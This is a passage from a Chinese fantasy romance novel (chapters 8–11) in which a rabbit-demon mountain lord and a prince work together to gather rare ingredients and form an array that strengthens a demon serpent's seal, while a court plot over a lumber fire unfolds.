“三日。”云青骊声音不大,但很坚定。
贺缃叶以为还会有一番揪扯,但没想到他竟答应得如此痛快。
她咳了两声,语气有些不自然:“缃叶粗鲁惯了,殿下见谅。”
云青骊闻言笑了起来:“山君这脾气,甚好。”
贺缃叶本就吃软不吃硬,被他不知真假地这么一说,倒有些赧然了。
“我先回去了,殿下请便。”
她带着两个侍女匆匆辞别,颇有点落荒而逃的意味。
云青骊看着她离去的身影,微微晃神。
待他走到山脚下,缟羽和渌波正在车旁等候。
“殿下,可拿到图纸了?”渌波见他去了好久还以为出了什么岔子。
云青骊轻轻点了下头:“无碍,回吧。”
两人架着兽车一路向前。
不多时,车里传来声音:“缟羽,三日之内,找到关于缚地之阵的线索。”
缟羽闻言,对着帘子抱拳拱手:“是,殿下。”
渌波一边赶车,一边小声询问:“殿下怎的突然对阵法感兴趣了?还限时日?那不是就要动用雾踪?”
“莫要多话。”缟羽睇了他一眼。
也不怪渌波多嘴,自家殿下培养多年,手下才得了一支青衣卫,分风隼,雷翎,雾踪,霜鸮四部,这雾踪专司情报探查与收集。
自殿下接了这修陵的差事,多方势力都虎视眈眈,如今动用青衣卫,即使是在暗处,也怕被人趁机寻错。
但他了解殿下,虽脾气温和,凡事皆一副好商量的模样,可一旦做出决定,便是不容置喙。
兽车平稳行驶,云青骊靠在车壁之上,闭目养神。
他说不清楚,今日怎的就答应了贺缃叶的要求,许是因为他也想知道花海下为何有阵法。
而且贺缃叶这个女人,虽说性子刚直,却也不会给人留下话柄,同她交易不吃亏。
*****
三日后,清晨。
贺缃叶提了篮子,去花海摘落日果。晴山和月魄负责摘花。
此番他们留存的郁金裙已经全部送给了云青骊,所以她打算这几日把所有的花都摘完。待三只篮子都装满已快巳时末了。
她听着卧龙峰上传来的响声,有些纳闷。
“山君,三日已过,三殿下所言可还作数?”月魄挎着篮子跟在一旁问道。
贺缃叶脚步微顿,随即往前走:“应当不会食言。”
“那怎的一点音讯也无?莫不是缓兵之计?瞧这几日山上叮铃哐啷的,正常得很。”
“山君,可要奴婢去问问?”晴山瞧了一眼贺缃叶的脸。
“先回去吧,晚些时候再说。”
她虽然忧心阵法,但此时也不好过于急躁。
三人回到沧浪居,日头正好,晴山提着两只篮子去院中晾晒落日花,月魄洗了一盘落日果,放在桌边。
贺缃叶正在桌前处理事务,但却有些心不在焉。
“今日你们不必帮我,晒完再去接着摘。”
“是,山君。”两人提篮而出。
两炷香后,门口传来动静。
“怎回来得如此快?”贺缃叶埋头写字,随口问了一句。
待放下笔抬起头来才发现站在门口的是一身白衣的云青骊。
“殿下来了。”她站了起来,略微解释,“我还以为是我的侍女回来了,殿下见谅。”
她将云青骊请进屋中。
“无妨。”云青骊温声道。
两人坐在矮几前,贺缃叶倒了茶,推到云青骊面前。
“殿下请用茶。”
云青骊点点头,端起茶杯。虽说他来了几次沧浪居,但还是头一次进来,贺缃叶的屋子竟布置得比他的更为简约沉闷。
倒是让他有些意外。
他饮了口茶,放下杯子,从袖中拿出一卷旧书简。
“山君想要的东西在此。”
贺缃叶伸手接过,打开略扫了一眼,合上后说了句多谢。
“山君不打算同在下说说花海阵法吗?”云青骊拿起茶壶给贺缃叶倒了一杯。
贺缃叶收起竹简,问了个问题。
“殿下为何对花海如此感兴趣?”
云青骊轻笑:“那日所见,山君耗费所有灵力将阵法压制,在下不得不多想了些。”
“那殿下,值得相信吗?”贺缃叶轻晃着手中的茶杯,轻声问道。
“在下自然愿意将山君视作朋友。”云青骊将自己的杯子递了过来,停在半空。
贺缃叶碰了一下,似是信了。
她轻轻启唇:“殿下应知,缚地之阵乃加固封印的阵法,这花海下埋着上古大妖,此前四处作乱,为祸人间,故而不得不将其封印。”
云青骊眼中掠过一缕震惊,很快消失不见。
“是因在下修陵掘山导致封印松动?”他的语气带着些歉意。
“不完全是。”贺缃叶说了出来,反而轻松不少,“原本这封印的法力在消退,加之地动,才使得封印提前松动。”
“山君可知是何大妖?又是何人封印的?”云青骊眼中有一丝期盼。
“千年化蛇。”贺缃叶眼睫闪了闪,“至于何人封印,这倒不知。只是有一次我无意中发现了此封印,便在其上种了落日花。”
她并不打算将师父的事告诉云青骊,真假参半才是难辨。
“化蛇?是那人面豺身,鸟翼蛇行,能招来大水的怪物?”
“正是。
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”
“落日花根系枝繁叶茂,能深入地底,形如织网,更有极强的麻沸散之效,想必山君种它也是为了压制化蛇。”
“不错。”
“山君此乃大义,在下先前多有冒犯,还请原谅。”云青骊拱手作礼。
贺缃叶摆了摆手:“殿下不必如此。缃叶直来直去,先前之事早已不放在心上。倒是眼下虽知晓缚地之阵的结阵方法,可所需之物仍是麻烦。”
方才她看到那竹简上所言,此阵需要将九霄玄铁打造成阵盘,再在其中加入藤妖一族的血,地玉髓,炎阳之火,以极阳克极阴方能成。
“在下手中正巧有一块九霄玄铁,可制成阵盘。”
云青骊说完手中出现了一块泛着寒光的玄铁。
“殿下想以何物交换?”贺缃叶虽惊讶他竟然有此等稀罕之物,但下意识便是想到此人定不会分毫不取,拱手相送。
“此物就当作我与山君坦诚相待的信物,至于地玉髓和炎阳之火,怕是要山君自己去寻了,在下已探得位置。”
云青骊将九霄玄铁放在了桌上,又拿出了一张地图摆在贺缃叶眼前。
贺缃叶没料到,他在短短三日不仅找到了缚地之阵的结阵之法,还做了如此周全的布置,实在是让她震惊。
她隔着桌子探过身去,地图上有两处被标红了。
云青骊修长的手点在一处,嗓音清润:“山君请看,此处乃龙啸渊,极南之地,有一焰龙盘桓于此,中央生地玉髓,赪尾之色,呈莲花状,晶莹带着光泽,容易辨认。焰龙每日会有一个时辰陷入沉睡,山君可趁此时取之,不过龙啸渊温度奇高,非寻常人能忍受。”
“殿下有法子?”贺缃叶抬起头,那一瞬两人四目相对,距离极近,她立马若无其事地坐直了身子。
云青骊看着她的动作,觉得甚是有趣,但并不点破,而是十分认真地回答了她的问题。
“山君带上此物便可不受热度干扰。”他手上出现了一只盒子,打开后是一颗莹润剔透的月白色珠子。
“此乃何物?”贺缃叶接了过来。
云青骊微微一顿,答道:“星辰珠。”
星辰珠?不曾听过。
贺缃叶心生疑惑,却按下了,实在是因为云青骊没必要骗她。
“多谢殿下,用过之后定完璧归赵。”
“山君客气。”
她指着另一处标红的地方:“想必此处便是炎阳之火所在。”
“山君可能要等拿到地玉髓后立刻回来一趟才能去寻炎阳之火。”
“为何?”贺缃叶看这两地距离不算太远,她还想着两者一起取了。
“地玉髓一经采摘,需尽快高温保存,否则会失去效用。涿光正好有一处温泉山洞,地热充足,将其放置于此,能存放久一些。”
“那我带上晴山,届时让她先行送回便是。”她打算将月魄留下来,毕竟还要准备云青骊的午膳。
“山君若信得过在下,我便让缟羽一同前往。他善火系术法,不惧地热,届时也能助你一臂之力。”
贺缃叶犹豫了一下,答应了。就算他表面相助实则安插心腹行监视之实,自己光明磊落倒也不惧,何况多个人也多一份胜算。
“多谢殿下。”
“不必客气。”
“殿下如此费心助我,所求为何?”贺缃叶没忍住还是问了出来。
原本她想要的只是云青骊帮她找到缚地之阵的相关消息,但他不仅找到了,还将后续事宜安排得滴水不漏,甚至愿意将自己的心腹派出相助自己,如此诚意若说不图回报怕是难以让人信服。
“只当是在下为封印化蛇所出的一份力,山君不也倾尽所有不求回报么?”
闻言,贺缃叶沉默了半晌。就在她摇摆不定之时,云青骊又加了一句。
“若是山君觉得于心不安,赠与在下一些郁金裙即可。”
“好。”贺缃叶看着他精致的脸,鬼使神差地点了点头,直到云青骊离开,她还有些恍惚。
9. 第 9 章
晴山和月魄提着篮子进屋之时,便看到坐在桌边出神的贺缃叶。
“山君,您怎的在此处发呆?”月魄走上前问。
贺缃叶听到声音才回过神:“方才云青骊将消息送来了,明日晴山同我去一趟龙啸渊,月魄你留在山上。”
“是,山君。”两人立即应下。
已近午时,月魄连忙做饭去了。
“晴山,将早上摘的那篮落日果送去卧龙峰。”
“是,山君。”晴山领命而去。
贺缃叶将两人采回来的花放在院中晾晒,想到上次给云青骊送去的整整一箱郁金裙,已足够用很久,可方才他又提出要,难不成他经常受伤?可看不起也不太像。
算了,左右与她无关。
她转身进屋,继续处理事务。
用过饭后,她同晴山月魄详细讲解了此次行动,交代月魄每日做好午膳,送去卧龙峰。
“封印若有所松动,第一时间去寻云青骊。”
“山君,如今您已经这么相信三殿下了?”
贺缃叶咬了一口落日果,语气有些含糊:“并非是我有多信任他,只是眼下也没有更好的办法。”
“也是。”月魄重重点头,“山君放心,奴婢定会守好家里!”
贺缃叶见她这副模样,难得开起了玩笑:“先护好自己,你的血眼下可珍贵得很。”
“嘿嘿,谨遵山君之命!”月魄在一旁傻笑。
翌日,天还未亮,缟羽便候在了院外。
晴山穿好衣服开门之时被吓了一跳。
“你何时来的?怎的不敲门?”瞧他的模样,像是抱着剑在外站了许久了。
“在下来了一会儿,见天色尚早,便未打扰山君。”
“要进来坐坐吗?”晴山礼貌询问。
缟羽摇了摇头:“不必。”
晴山便没管他,径直进屋了。
“山君,缟羽已在院外,咱们何时出发?”
“你给他拿些吃的送去,吃完咱们就动身。”贺缃叶一边系着腰带一边回答。
”是。”
饭后,三人直接朝着南方飞去。
待到达龙啸渊外,已是黄昏。
“晴山,下面温度奇高,你就在此处接应。”
晴山看了一眼缟羽,随即回道:“是,山君。”
贺缃叶和缟羽跳了下去。
虽然有星辰珠在手,但贺缃叶还是觉得有些热,反观缟羽,倒是神色如常。
“缟羽,你不热吗?”
“回山君,属下乃赤鷩鸟妖,修习的是御火之术。”
“云青骊可有告知于你如何找到地玉髓?”
这龙啸渊底下不仅温度奇高,还弥漫着火雾,十分影响视线,根本看不清方向。
“烦请山君抓紧属下的剑。”缟羽将自己的剑递了过来。
贺缃叶依言照做。
两人走了大概半个时辰,火雾越来越浓,贺缃叶也越来越热。
“快要到中央了,山君若觉得太热,可将星辰珠置于怀中,会好受一些。”缟羽突然停下,出声提醒。
“多谢。”贺缃叶将袖中的盒子拿出来放进了怀里,果然舒服了许多。
缟羽此人还算不错,她一时好奇,问道:“星辰珠竟有如此大的效用,我从前竟未曾听过,你可知晓这是何物?”
缟羽沉默了两息才回道,“还请山君回去后问殿下。”
这么神秘?那算了,她才不想去问云青骊,显得自己很无知。
两人又前行了一段距离,火雾渐渐消失,不远处空地上正盘着一条浑身是火的龙,龙身下正闪着极强的光泽,想来那便是地玉髓了。
“缟羽,待它休眠,我便去取地玉髓,你见机行事。”贺缃叶低声道。
“是,山君。”缟羽在一旁抱拳。
两人在一块石头后等了两个时辰,已是月上中天,那焰龙竟没有丝毫要休眠的迹象。
直到月落星沉,才将将合上眼,身上的火焰也消退不少。
贺缃叶与缟羽对视一眼,身姿轻盈地飞身而起。虽然焰龙已经休眠,但地玉髓在它身下,难免有接触,稍不留神便会将它惊醒。
她屏住呼吸,蹑手蹑脚地靠近那发光之处。
就在她刚摸到地玉髓之时,眼前光芒大盛,竟是那焰龙惊醒了。
糟糕!贺缃叶暗道不好。她顾不上那么多,眼疾手快地摘下地玉髓,扔向缟羽:“你先上去!”
“山君当心!”缟羽反应也是极快,他将地玉髓塞进怀里,身子一闪,飞了上去。
龙啸渊外,晴山焦急等待地等待了一夜。
好不容易下面有了动静,上来的却只有缟羽一人。
“我家山君呢?”
缟羽将怀中地玉髓拿了出来,又用盒子装好,交给了晴山。
“方才情势危急,还请晴山姑娘收好,我这便下去相助山君。”
晴山匆忙往袖中一塞:“我也去!”
“下面温度过高,不宜冒险,晴山姑娘护着地玉髓便好。”缟羽说完立刻飞了下去。
渊下的贺缃叶松了口气,她回过头来,后退数丈,随后拿出沧雪枪,虎视眈眈地盯着盘在空中的庞然大物。
因为愤怒,焰龙全身的火焰像是要将整个龙啸渊点燃一般,十分骇人。
她握紧了手中的枪。
倏然,那龙动了,速度极快地朝她这个不速之客冲了过来。
贺缃叶闪身躲过一击,手中长枪迅速反击,更快地刺了出去。
“刺啦”一声,沧雪枪划过龙皮,发出刺耳的声响,却未曾伤害到它分毫,倒是自己的手被震得发麻。
她又重新握紧了枪。
眼下看来只能攻其不备了。
那焰龙再次袭来之时,贺缃叶紧盯着它的脖子。
龙尾在空中疯狂扫动,卷起地上的飞沙走石,带着热浪向贺缃叶扑来。
她躲过几个回合后,瞄准时机,举枪在身侧,直直穿过缝隙,与龙尾擦肩而过,直奔焰龙的喉下逆鳞。
下一瞬,龙鸣之声响彻天际,几乎将她的耳膜震破,那是龙的怒吼声。
她立即抽出长枪后退,但那龙被伤了根本,竟有同归于尽之势,不断吐出火焰将她围了起来,甚至想要自毁龙丹引爆整个龙啸渊。
怀中的星辰珠都开始变热了。她脑中闪过一个念头,若是捏爆这颗珠子,能不能灭掉这些火焰,至少打开一个口子。
电光火石之际,她想起临行前答应云青骊会完璧归赵,便将此念头打消了。
看来还是得靠自己硬闯出一线生机。
她浮在空中,环视着周围的火焰,打算寻一相对薄弱之处,却倏尔看见有一只羽色赤红的大鸟穿过火墙朝她而来。
“山君,快上来!”竟是缟羽的声音。
贺缃叶当机立断,冲上前去,踏在了鸟背之上,旋即缟羽振翅往外飞。只见他穿过火墙之时,那火像是主动避开一般,自然而然开了个口子,继而带着贺缃叶快速冲了上去。
晴山一见安然无恙的两人,悬着的心才放了下来。
“山君可有受伤?”她急急问道。
贺缃叶摇了摇头:“我没事。”
言罢,她对着缟羽真诚抱拳道谢:“多谢相救。”若是没有他,怕是要元气大伤。
“山君不必如此,这都是我家殿下的交代。”
她第一次觉得,云青骊此人,看似不经意,但真真是算无遗策。
“晴山,你将地玉髓速速送去涿光温泉洞,然后回山上,等我回来。”
“奴婢定不辱命。”晴山抱拳回应,随后视线滑过缟羽,“山君,您定要完好无损地回来。”
“放心吧。”贺缃叶拍了拍晴山的肩膀。
晴山离开后,她拿出地图看了看,然后同缟羽一起朝前飞去。
炎阳之火在龙啸渊以东的丹穴山中,同处极南之地。传闻此火乃凤凰涅槃形成,极为难得,且对于修习火系术法者裨益颇多,但因其可信度不高,加之丹穴山地势复杂,神秘莫测,许多想要寻宝之人都歇了心思。
两人在图上红色标记之处降落,但眼前并无山峰,只余一片广
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袤的平原,其上零星点缀着些低矮的草丛,外围分布着一些树木。
“按道理,你家殿下所查不会有假,可眼下确是不见丹穴山所在,莫非传闻有误?”
贺缃叶对比着地图仔细看了看,又抬起头环视了一圈四周。
“要不属下去前方探探路?”缟羽站在贺缃叶身侧问道。
“咱们分头行动,去找找是否有洞穴,一会儿原地汇合。”
“是。”
两人向相反方向走去。
贺缃叶沿着草木的痕迹而行,不知走了多久,竟然看到了一条小溪,而溪流对面正是一处洞穴。
她脚尖轻点,从小溪上方掠过,可就在那时,一股不知哪里来的力量,让她直接跌入了水中。
待她再看清周围之时,小溪和洞穴均不见了,取而代之的是一座山,山上满是梧桐木。
原来那溪流是障眼法的关窍所在,还真是误打误撞。
也不知缟羽如何了,眼下只能自己先摸索一番。她用内力烘干衣服,朝前走去。
约莫半个时辰后,一道清亮的鸟叫声引起了她的注意,听起来不像是寻常鸟类。
循着声音找去,视野中出现了一只鸾鸟。
“此处竟有青鸾,看来凤凰涅槃之说并非空穴来风。”
她站在旁边观察了一阵子,那青鸾一直守着身后那棵梧桐树,迟迟未曾离去。
难不成炎阳之火在那棵树上?
贺缃叶以内力投掷了颗石子到树干上,青鸾立刻警觉地看向四周,离树更近了些。
她想了想,从身上取了张符纸,注入一缕内力,那符纸瞬间活了起来,落地便成了人的模样,只是……那模样,瞧着有些像云青骊。
贺缃叶没想那么多,只是在那一瞬间脑中闪过了云青骊的脸,她挥了挥手,那纸人逼真地跑了起来,冲向青鸾,随后将其引开了。
迅速闪到树下,她用内力将梧桐木劈成了两半,不曾想,那树干中空,里面竟燃着一簇小小的火。
“竟然真的在此。”
她伸手去取,没料到斜刺里一道灵力打了过来,阻止了她的动作。
贺缃叶站起转身,面前站着一个不认识的紫衣男人。
“你是何人?为何在此?”
那人蓦地笑了:“自然是来取这炎阳之火。”
等到她快要得手再出手,也不知此人跟了她多久,自己竟然一直未察觉,贺缃叶有些许心惊。
但,就算如此,她也志在必得。
“那便各凭本事吧。”她冷冷地抛出一句。
两人一齐向炎阳之火而去,贺缃叶离得近,但每次她快要挨到之时,那恼人的灵力总是如影随形,双方多个来回,谁也没有得手。
若不是怕毁了这火,她定大打一场,给此人一个教训。
胶着之时,她放出去的纸人回来了,身后跟着那青鸾鸟。
情况更是不妙了,她在心中默念着速战速决。
然而,那个男人看到纸人的模样,微愣了片刻,动作也有些凝滞,贺缃叶趁此机会,给了他一掌,将炎阳之火快速地收入了囊中。
她没管那人死活,直接召回纸人,闪身消失在了原地。
男人被打得口吐鲜血,但还在困惑方才看到的纸人模样,随即又十分懊恼,自己竟被一个纸人给唬住了,下次若是再遇到这女人,定要讨回来。
贺缃叶闪到了丹穴山下,正是最开始的那片平原,一切又都恢复了原样。
她方才来不及思考,为何那个男人能神不知鬼不觉地进入丹穴山,找到炎阳之火所在,却在关键时刻露出破绽被她一举击败?好像是他看到纸人和青鸾出现后,莫不是他与云青骊相识?
还没等思考清楚,她就看到了匆匆赶来的缟羽。
“山君,属下在那边发现了似有幻境。”
贺缃叶点点头,看来缟羽还未进入丹穴山。
“我已取到炎阳之火。”她将东西拿了出来。
缟羽眼中震惊之色难掩,正欲再问,但贺缃叶止住了话头,只说了句:“有人,先离开。”
10. 第 10 章
缟羽警惕地看了一圈四周,未再言语。
途中,贺缃叶同他讲了在山上遇到的那个男人。
“我家殿下一向待人和气,树敌不多,此人可还有其他特征?”
其他特征?贺缃叶倒是没注意,她摇了摇头:“与常人无异。”
但若是再次遇见,她定能立即认出。
历时两日,回到姑媱山已是深夜。
缟羽任务完成,回宫复命了。
晴山和月魄听到门外声响,即刻跑了出来,看到是贺缃叶,满脸欣喜。
“山君,担心死奴婢了,您可算是回来了。”月魄一脸忧心。
贺缃叶往屋内走去,笑着回:“你家山君有什么好担心的?你该担心那些被我揍的。”
晴山也忍不住笑了起来,随即正色问:“山君,炎阳之火可拿到了?”
贺缃叶“嗯”了一声,说道:“去找个材质上佳的瓶子,这火太烫了。”
“是。”
没一会儿晴山拿了个褐色瓶子过来:“山君,这沉香瓶可行?”
“可以。”贺缃叶将火装进去,打了个哈欠,“剩下的明日再说,倦了。”
“是,山君。”
贺缃叶两日未曾合眼,第二日难得起得迟了些。
“晴山,一会儿你去将地玉髓取回来。”她一边用饭一边吩咐。
“是,奴婢这就去。”
她打算先去把星辰珠还给云青骊,再当面同他道声谢。
“月魄,这两日花海如何?”
“回山君,暂无异样。”
“今日我要在屋中刻阵盘,你和晴山去将落日花全部采完。”
“是,山君。”月魄应下,又问道,“果子可要一并摘完?”
贺缃叶放下筷子,点了点头:“能摘也都摘回来。”
说完她站起身往外走:“我先去找一趟云青骊。”
“是,山君。”
原本上次制落日烟就采了一小半花,如今还剩一大半,其中大部分要送去琅月阁,再给云青骊一些,自己能留下的便所剩无多。
卧龙峰上,依然忙忙碌碌,只不过云青骊许是知道她要来,今日在屋中特意等着她。
“多谢殿下相助,缃叶特此归还星辰珠。”贺缃叶语气十分诚恳。
云青骊接过盒子,笑着回:“山君不必客气。”
“敢问殿下,这星辰珠是……”贺缃叶试探着问。
云青骊拿着盒子的手微顿:“不是什么要紧的事物,山君喜欢?”
“殿下说笑了。”贺缃叶汗颜,“缃叶只是好奇。”
早知就不问了。
她轻咳一声,又说道:“此番我在丹穴山遇见一人,他同我抢炎阳之火,也许是你的旧识,殿下可有修习火系术法的对手?”
“此事缟羽已同我说了。”云青骊转着盒子,若有所思,后又抬头看向贺缃叶,“不过,山君如何知晓此人或许同我有关?”
贺缃叶脸色有些尴尬,她总不能说,我做了一个形似你的纸人,被那人看见,然后他吓到了吧?
“我也不确定,也许是因为星辰珠。”她佯装淡定地喝了一口茶。
云青骊了然点头,也不知信了与否。
他认真思索了一番,心中大概有了个方向,只是说出口的话带着余地:“目前尚无法确认是谁,待有了实证,定会相告,山君不必忧心。”
“好。”贺缃叶放下茶杯,站了起来,“今日还需制阵盘,不打扰殿下正事了,告辞。”
“届时结阵可需要在下帮忙?”
“多谢殿下好意,后续之事缃叶自己来便是。”
云青骊已经帮她很多了,自是不好再劳烦。
她转身出门前,又想起一事:“殿下这几日可去过花海?”
“未曾。”云青骊有些不解,“可是封印出问题了?”
贺缃叶摇头:“封印无碍,不过殿下的郁金裙怕是要晚些时候才能送来了。”
那一瞬间,她差点说出云青骊的瞀视之症,但终是忍住了,幸好他还不曾发现落日花的颜色异样。说到底他们也只是合作关系,勉强称得上朋友,王族秘辛,宣之于口怕是会招来祸端。
“无妨。”云青骊仍在笑着。
贺缃叶走后,他唤来缟羽,低声耳语了一阵。
“属下立即派人去查。”
缟羽出去后,他又吩咐渌波:“你去看着点花海,山君若是有需要便出手相助一番。”
“……是,殿下。”渌波难得答应得如此爽快。
贺缃叶回去的路上边走边想,此事怕是只有他自己不知,身边侍从选择不告知于他,应是有隐情,自己还是不要盲目行事,往后也许能寻个机会问问缟羽。
她回沧浪居的时候,院中空无一人,两个侍女应是去采花了。于是,她便安安静静地在屋中刻阵盘。
这一日过得很快。月魄中午回来做了午膳便又匆匆去摘花了。
贺缃叶沉浸在手头的活计里,待抬起头来,才发现卧龙峰上的嘈杂声已经消失一段时间了,已是酉时末。
她看着即将大功告成的阵盘,动了动发麻的身子,站起来伸了个懒腰。
没一会儿,晴山和月魄提着好多篮子回来摆在了院中。
“山君,花都采完了,累死奴婢了。”月魄进屋猛灌了好几杯水。
连晴山脸上都露出了疲惫之色。
“辛苦你们了。”贺缃叶温声安慰,“果子等有空再采吧。”
月魄摆了摆手:“没事山君,明日我和晴山再去,免得到时候布阵将它们损坏了。”
“好。”
贺缃叶打算,晚上将阵盘刻好,明日他们三人一起去采完果子,再结阵。她已经想好了,有了缚地之阵,她可以将落日花种在其他地方,只需留下种子便好。
“对了,山君,今日奴婢去涿光山时,遇到了缟羽,他说山上已经收拾好了,可以直接入住。”
“等过几日,你带一批妖先迁过去。”
“是,山君。”
用完晚饭,贺缃叶便让两个侍女去休息了,自己则在屋内点着灯刻阵盘,一直到快月上中天,才终于完成。
翌日清早,主仆三人正在花海摘着果子。
没一会儿,渌波和缟羽来了。
“山君可需相助?”渌波想起昨日自家殿下的嘱咐,主动问道。
惹得月魄频频看他,这人转性了?
“今日卧龙峰不忙?”
“有殿下在,暂时用不上属下。”缟羽立即解释。
既然如此,那贺缃叶也不再扭捏,大方应道:“那便有劳了。”
毕竟她们三人确实有些吃不消。原本她想着找些小妖来干活,但苍黎花海一直是姑媱山的禁地,她也做不出用完后灭口的行为,便一直都是自己打理。
五个人确实快了不少。期间,贺缃叶看似随意地问缟羽:“你家殿下这几日没来花海?”
“殿下最近忙着修陵,不曾来,倒是有吩咐属下们多注意封印之事。”
贺缃叶十分确定,云青骊这两个侍从就是在瞒着他。
“丹穴山那人可有眉目了?”
“回山君,尚不能确定。”
“好,不急。”
黄昏时分,五人便把所有果子摘完了。
缟羽和渌波帮着将果子搬回了沧浪居,贺缃叶看他们辛苦一日,便留他们吃了晚饭。
“月魄手艺不错,用完膳再回去吧。”
她倒是习惯了主仆一起吃饭,但缟羽和渌波显得拘谨许多,倒有些不好意思了。
“我家山君有那么吓人吗?”月魄笑着调侃。
两人连声道不敢。好不容易一顿饭吃完,他们逃也是的告辞了,引得月魄直发笑,晴山也弯了眼睛。
饭后,晴山将院中晒好的一批干花收了起来,又把果子存到了冰窖。
月魄放了半碗血,装进瓶子交给了贺缃叶。
“明日有事我会吩咐晴山,你先休息。”贺缃叶亲自磨了落日花粉,涂在月魄手臂上。
“山君,您真好,我要一辈子跟着您!”月魄脸色苍白地躺在床上,却笑嘻嘻的。
贺缃叶眼中流露出一丝柔和:“快睡。”
次日,天空碧蓝如洗,她早早起床,带着晴山去了花海。
“晴山,护法。”
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“是,山君。”
两人神情都很严肃。贺缃叶布了结界,拿出阵盘,将其置于花海上空,先在其中倒入了藤妖血,那血顺着阵盘的纹路开始流动了起来。
约莫过了一炷香的功夫,阵盘嗡嗡作响,她又放入了地玉髓和炎阳之火,两者甫一接触,地玉髓便被炎阳之火融化成了液体,同样顺着阵盘纹路动了起来。
待地玉髓液将藤妖血完全覆盖,贺缃叶便用灵力将炎阳之火稳在了阵盘内。
只是她为月兔妖,自是惧怕高温,加之阵法刚形成一刹那,地底似有响动,像是在无声地与她抗衡,她耗费了不少灵力,所幸经过半个时辰的努力,终是压住了。
总算了结了一桩心事,虽不知此阵法能压制多久,但短期内应是不会有问题了。
接下来的半月,贺缃叶基本都在院子里同晴山制作郁金裙。
原本月魄也想一起,但贺缃叶看她脸色不佳,除了做饭,其他时候都让她去休息,因为藤妖一族的血液有强身健魄之效,算得上是天材地宝,但他们失血恢复极慢,故而需要养得久一些。
左右离琅月阁的交货日期还有些时日,慢慢做也不急。
那日,她一边制作郁金裙,一边和晴山聊迁出小妖一事,忽听外面吵吵嚷嚷的,比平时掘山的动静还大。
“去看看外面怎么了。”
“是。”
晴山走出院外,发现卧龙峰上火光冲天。她匆匆回屋,将此事禀报给贺缃叶。
闻言,贺缃叶放下手中的药杵,快步走了出去。
“走,跟我去看看。”
两人迅速赶到卧龙峰,起火的正是先前运上山的木材,那堆放木材的树林都烧得不剩什么了,云青骊正在亲自参与灭火。
贺缃叶二话不说,也帮着扑灭。
待火势渐小,云青骊这才发现贺缃叶也来了。
他瓷白的脸上蹭了点灰,神情有些许尴尬:“抱歉山君,下属看管不力,竟将卧龙峰差点烧了。”
贺缃叶摇摇头:“可有伤亡?”
“所幸发觉及时,只烧了些木材。”
贺缃叶没回话,云青骊嘴上说得云淡风轻,但这些木材价值不菲,就算他能填补这些空缺,妖王也会震怒,毕竟这不是个好兆头。
“我能帮什么忙吗?”
云青骊原本想说不必,但看到贺缃叶真诚的眼睛,拒绝的话变成了应承。
“我要回宫一趟,尚不知几时能回。”他指着不远处指挥灭火的一人轻声说道,“此人名唤田赤,是我父王派来助我修陵的监官,此事同他脱不了干系。”
“你想让我帮你盯着他?”
“正是,渌波会留下协助于你。”云青骊拱手行礼,“有劳山君。”
贺缃叶虽未曾经历过王室操戈,相互倾轧,但也略微懂一些,眼下尚未查清真相,但云青骊所言,像极了栽赃嫁祸那一套。
云青骊一离开,山上的工事便陷入了停滞。
贺缃叶让晴山和渌波一同去盯着那田赤,起初还无甚端倪,可第二日晚上,晴山便回禀那人有了动作。
她赶到卧龙峰上一处极为偏僻的树林里,看到一个戴帽子的黑衣人在同一个男人说些什么。
晴山附耳过来:“山君,那黑衣人便是田赤。”
“另一个呢?”
渌波在一旁小声回答:“此人是一名掘山的工匠。”
没过一会儿,那人交了一物给田赤,随后走了。田赤环视了一圈,找了棵树,将那东西埋在了树下。
贺缃叶待田赤离开后,吩咐晴山去将东西挖了出来。
“山君,是松石。”
松石易燃,尤其是木材,几乎一触即着。
“带回去,再将方才那工匠抓起来。”
“是,山君。”
贺缃叶不太理解,就算如传闻那般,妖王不喜云青骊,但既然将差事交给他,自然也是不愿出差错的,没必要在此事上陷害他。
可田赤所为,若说无人授意,她是万万不信的。究竟是妖王贼喊捉贼还是有人浑水摸鱼,还得看云青骊那边的说法。
她已做好自己该做之事,眼下便只剩等待了。
11. 第 11 章
三日后,月魄说什么都不肯再休养了,贺缃叶便带着她和晴山一同制药。
“山君,缟羽来了。”渌波蹲在院中树上,老远就看到了自山下而来的人影,他跳下树,在门外禀告。
“让他进来。”贺缃叶暂时放下了手头的事。
没一会儿,缟羽步履匆匆地走了进来。
他说话又急又快:“山君,我家殿下被妖王责罚,暂时留在宫中修养,妖王命他七日内查清此事,否则便要治他的罪,另外还派了太子暂时接管修陵一事。”
贺缃叶抿了抿唇,没想到妖王对他这个儿子,还真是如传闻一般,毫不怜惜。
“他伤势如何?”
“殿下受伤不轻,幸好有山君所赠郁金裙,性命无甚大碍,只是要好好休养一阵子。”
“那就好。”贺缃叶松了一口气。
言罢,她又对着渌波说道:“你同缟羽一起回去,将松石和那工匠一并带走。”
“谢过山君。”渌波头一次觉得贺缃叶如此顺眼。
两人走后,贺缃叶眉头紧锁。她倒不是担心云青骊能否证明自己的清白,而是修陵之人再次变成了云青冥。
虽然只是暂时的,但她也不敢保证,云青冥是否会发现阵法的秘密,他可不像云青骊那般好说话。
万幸的是,阵法已成,只要不动用灵力试探自是不会发现的。
“山君,那田赤会是太子的人吗?毕竟此事的受益者是他。”月魄在一旁问道。
“不排除这种可能,一切会水落石出的。”贺缃叶不自觉接了一句,待反应过来才发现自己好像过于肯定了……
但他想到云青骊总是一副不紧不慢,胸有成竹的模样,应是能做到的吧。
次日,三人又花了一上午,才终于将琅月阁所需郁金裙都完成。
云青冥是未时三刻上山的。此番他倒是不像上次那般排场宏大,而是将兽车停在山脚,自行走了上来。
更让贺缃叶吃惊的是,他竟然先来拜访自己了。
院中石桌旁,两人相对而坐,身后各站着侍女和护卫。
其实贺缃叶的沧浪居很大,屋子也很多,但她不太想将此人请进去。
“殿下此番前来,不知所为何事?”她倒了一杯茶,放在云青冥跟前。
云青冥端着杯子,没喝。
“自是为修陵。”
贺缃叶佯装惊讶:“修陵之人怎的变成殿下了?”
“木材起火,父王震怒,三王兄受了罚,暂时来不了。”云青冥简单解释了一番,倒是没有说假话。
然而他话锋一变,语气意味不明:“只是,原本父王想治你个管辖不力之罪,三王兄替你扛下了,若是他不能查明真相,还要受更重的罚。”
“你说什么?”这次贺缃叶是真的被惊到了。
“看来山君真的不知。”云青冥喝了口茶,立刻放下了,“我那三王兄还真是会体恤子民。”
贺缃叶听出他语气中的讥讽,面上有些不悦:“殿下大可不必试探于我,我同三殿下只是泛泛之交。”
“泛泛之交。”云青冥重复了一遍,忽而冷声质问,“他将涿光赠予你也是泛泛之交?”
原来在这里等着她呢。
